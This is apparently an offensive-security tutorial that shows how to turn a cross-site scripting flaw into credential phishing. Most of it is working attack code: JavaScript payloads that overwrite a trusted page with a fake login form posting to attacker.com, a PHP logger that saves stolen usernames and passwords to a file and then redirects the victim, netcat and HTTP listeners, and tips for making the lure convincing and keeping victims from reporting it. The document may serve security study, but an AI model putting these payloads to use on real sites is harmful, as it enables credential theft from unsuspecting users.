The upgrade from “alert box” to “actual compromise”. XSS lets you modify the trusted application’s page — meaning the victim sees your fake login form inside a familiar domain, with the right URL in the address bar. No typo-squatting required.

Attack Flow

Find XSS vulnerability
      ↓
Understand where input appears in HTML
      ↓
Inject fake login interface
      ↓
Hide / modify original page elements
      ↓
Victim enters credentials into fake form
      ↓
Credentials sent to attacker-controlled endpoint
      ↓
(Optional) Redirect victim back to the real site

1. Find the Injection Point

Not every XSS gives you full HTML control. Some filters block <script> but allow event handlers. The right payload depends on where your input lands — see the Discovery section’s context table.

2. Inject the Fake Login Form

Once JS execution is confirmed, use document.write() or innerHTML to add the fake form:

document.write('<h3>Please login to continue</h3>\
<form action="http://attacker.com/log" method="GET">\
  <input type="text" name="username" placeholder="Username"><br>\
  <input type="password" name="password" placeholder="Password"><br>\
  <button type="submit">Login</button>\
</form>');

Or inject as HTML via innerHTML:

document.body.innerHTML = '<div style="padding:50px">\
<h3>Session expired. Please login.</h3>\
<form action="http://attacker.com/log" method="GET">\
<input name="username" placeholder="Username"><br>\
<input type="password" name="password" placeholder="Password"><br>\
<button>Login</button></form></div>';

3. Remove Original Elements

If the original page content is still visible around your injected form, it looks suspicious. Clean up:

document.getElementById('urlform').remove();
document.querySelectorAll('nav, .sidebar, .ads').forEach(el => el.remove());

Or just nuke the body first and rebuild:

document.body.innerHTML = '';   // then inject the fake form

4. Capture Credentials

Simplest approach — point the form action at a server you control:

<form action="http://attacker.com/log" method="GET">

You’ll see hits like:

GET /log?username=admin&password=hunter2 HTTP/1.1

Catch them with a quick listener:

php -S 0.0.0.0:80
# or
python3 -m http.server 80
# or save them to a file:
nc -lvnp 80

5. Redirect Back to the Real Site

Making the victim land back on the legitimate app reduces suspicion — they type credentials, “login” fails or seems to work, and they’re back where they started. The attack is less likely to be reported.

Server-side approach — your receiving script responds with a redirect:

<?php
file_put_contents("creds.txt", "user={$_GET['username']} pass={$_GET['password']}\n", FILE_APPEND);
header("Location: http://target.com/login");
exit;
?>

Client-side approach — after form submit, JavaScript redirects:

setTimeout(() => window.location = 'http://target.com/login', 500);

Credibility Enhancements

Small touches that make the fake form more convincing:

  • Match the visual style of the real app — copy its CSS classes
  • Use the same font and color scheme
  • Include the real logo via <img src="https://target.com/logo.png">
  • Pre-fill the username if you know the victim’s identity (e.g. from a session)
  • Use a plausible reason: “Session expired”, “Please re-authenticate for security”

Big Picture

The vulnerability allows attacker-controlled JS inside a trusted origin. That capability becomes impersonation of legitimate functionality. The defensive lesson: never trust a login prompt solely because it appears on a familiar domain.